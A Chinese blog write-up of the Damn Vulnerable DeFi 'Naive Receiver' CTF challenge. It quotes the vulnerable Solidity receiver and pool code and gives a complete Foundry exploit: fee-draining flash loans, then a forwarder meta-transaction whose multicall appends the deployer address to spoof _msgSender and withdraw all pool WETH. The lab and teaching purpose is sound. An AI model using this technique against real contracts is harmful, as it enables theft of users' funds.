2.Naivereceiver 寻找漏洞以及利用漏洞的思路
这一次的合约比上一次的复杂很多,也花费了我更多的时间。但是明白了合约逻辑以及漏洞之后让我受益颇深。在这里我学到了EIP712、元交易、forwarder中继器、receiver、IERC3156FlashBorrower、IERC3156FlashLender、Address库、Context库等新知识,如果你有不熟练或者不知道的,完全可以去尝试这一节的挑战。
现有一个资金池,余额为 1000 枚 WETH,支持闪电贷功能,固定手续费为 1 枚 WETH。该资金池通过集成一个无权限转发合约(BasicForwarder),支持元交易。
一名用户部署了一个示例合约,余额为 10 枚 WETH。该合约似乎可以执行 WETH 闪电贷操作。
所有资金均处于风险之中!请从用户合约(FlashLoanReceiver)和资金池(pool)中救出所有 WETH,并将其存入指定的回收账户。
简单来说就是要以初始资金为0的player的身份达到两个目的: 1.将用户部署的余额为10WEH的示例合约FlashLoanReceiver中的余额耗尽。 2.将资金池pool中的所有WETH取出存入指定账户recovery中。
FlashLoanReceiver中的onFlashLoan()函数
function onFlashLoan(
address, // 忽略了闪贷发起者(initiator)参数
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
// 仅校验:调用者是否为闪贷池(pool)
assembly {
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}
if (token != address(NaiveReceiverPool(pool).weth())) {
revert NaiveReceiverPool.UnsupportedCurrency();
}
uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}
_executeActionDuringFlashLoan();
WETH(payable(token)).approve(pool, amountToBeRepaid);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
漏洞本质是 “缺少对闪贷发起者的权限校验”,导致任何人都可以滥用合约身份调用闪贷池,间接动用合约内资金。
NaiveReceiverPool合约的_msgSender()函数
function _msgSender() internal view override returns (address) {
//我们可以构建一个交易,从forwarder合约调用该函数,从而伪造任意用户地址
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
} else {
return super._msgSender();
}
}
这个函数仅仅通过msg.data的末尾20各字节获取用户地址,这并不安全,我们可以将部署者的地址放入到data的末尾中来盗取资金。
function test_naiveReceiver() public checkSolvedByPlayer {
// 第一步:耗尽 Receiver
bytes[] memory callDatas = new bytes[](11);
for (uint256 i = 0; i < 10; i++) {
callDatas[i] = abi.encodeCall(
NaiveReceiverPool.flashLoan, (IERC3156FlashBorrower(address(receiver)), address(weth), 0, "0x")
);
}
// 第二步:提取池中资金到恢复账户 通过forwarder的excute
callDatas[10] = abi.encodePacked(
//withraw只会读取前面两个参数
abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
bytes32(uint256(uint160(address(deployer)))) // 地址填充为32字节,因为_msgSender只会读取最后20字节
);
bytes memory multicallData = abi.encodeCall(pool.multicall, callDatas);
BasicForwarder.Request memory request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: gasleft(),
nonce: forwarder.nonces(player),
data: multicallData,
deadline: block.timestamp + 1 hours
});
bytes32 requestHash =
keccak256(abi.encodePacked("\x19\x01", forwarder.domainSeparator(), forwarder.getDataHash(request)));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, requestHash);
bytes memory signature = abi.encodePacked(r, s, v);
forwarder.execute(request, signature);
}
耗尽 Receiver 合约的 WETH 余额
通过调用 NaiveReceiverPool 的 flashLoan 函数十次,每次借入金额为 0 WETH,但支付 1 WETH 的固定费用。由于 FlashLoanReceiver 合约初始有 10 WETH,十次调用后其余额被耗尽。
利用漏洞提取 Pool 中的资金
构造恶意调用数据:使用 abi.encodePacked 将以下两部分数据打包:
(1) abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))):正常调用 withdraw 函数,参数为提取全部资金到恢复地址。
(2) bytes32(uint256(uint160(address(deployer))):将 deployer 地址填充为 32 字节,并附加在调用数据末尾。
这样构造后,当 withdraw 函数通过 delegatecall 执行时,Pool 的 _msgSender() 函数会从调用数据末尾读取 deployer 地址,误认为是 deployer 在调用,从而绕过权限检查。
最后两个步骤
(1)打包为 Multicall:将上述恶意调用数据与前10次 flashLoan 调用一起放入 bytes[] 数组,并通过 abi.encodeCall(pool.multicall, callDatas) 打包成单个 multicallData。
(2)通过 Forwarder 执行:构造 BasicForwarder.Request 请求,包含 multicallData,并使用 player 的私钥对请求进行签名。最后调用 forwarder.execute 执行该元交易,从而在单次交易中完成所有操作。
ps: 之所以要通过Multicall,是为了使player不超过两笔交易就能达成目的。
基础的我在上一章节说过了。面对这种多个合约配合的项目,首先要明确各个合约的主要职责是什么,这真的很重要,我一开始并没有很懂,到后面代码也看得迷迷糊糊,走了很多弯路。不会的多问问ai(但有时候ai很不靠谱,经常讲着讲着就概念模糊,漏洞也找不出来),然后可以多看几遍提供的测试代码setup部分,也可以帮助理解合约架构。 有些漏洞不太确定的话可以多写些测试,测试结果不会骗人。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!